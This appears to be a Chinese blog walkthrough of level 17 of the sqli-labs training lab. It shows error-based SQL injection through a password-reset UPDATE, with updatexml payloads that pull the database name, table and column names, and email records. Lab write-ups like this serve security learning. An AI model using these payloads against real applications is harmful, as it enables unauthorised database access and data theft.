第十七关
进入第十七关,我们发现页面又进行了变化,显示的是密码重置,又根据题目提示为update,指的是源代码用update的方式进行密码的更新。这里我们用到的是基于update的报错注入
常见的select/insert/update/delete 注入都可以使用报错方式来获取信息
报错注入中,我们重点用到三个常见函数:extractvalue(),updatexml(),group by()
这里我就不介绍他们的用法啦,大家可以看看其他的博主
这里我们进行注入的参数变成了passwd,原因是passwd这里有注入点,进行了更新语句
还有,uname的值我们要用它提供的,因为我们用到正确的用户名才能进行密码修改,从而进行注入
1.获取数据库名
uname=Dhakkan&passwd=1' and (updatexml (1,concat(0x7e,(select database()),0x7e),1))#&submit=Submit
2.获取表名
uname=Dhakkan&passwd=1' and (updatexml (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#&submit=Submit
3.获取字段名
uname=Dhakkan&passwd=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x7e),1))#&submit=Submit
4.获取数据
这里我试了获取users表下的数据,一直获取不到【无奈】查找原因:
在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。详细sqli-labs(1-65)通关讲解-CSDN博客
uname=Dhakkan&passwd=1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#&submit=Submit
这里我只放出了获取emails表下的数据,其他的数据根据你所需要的表再获取
下面快软考啦,先好好备战软考,可能没那么多时间写这个了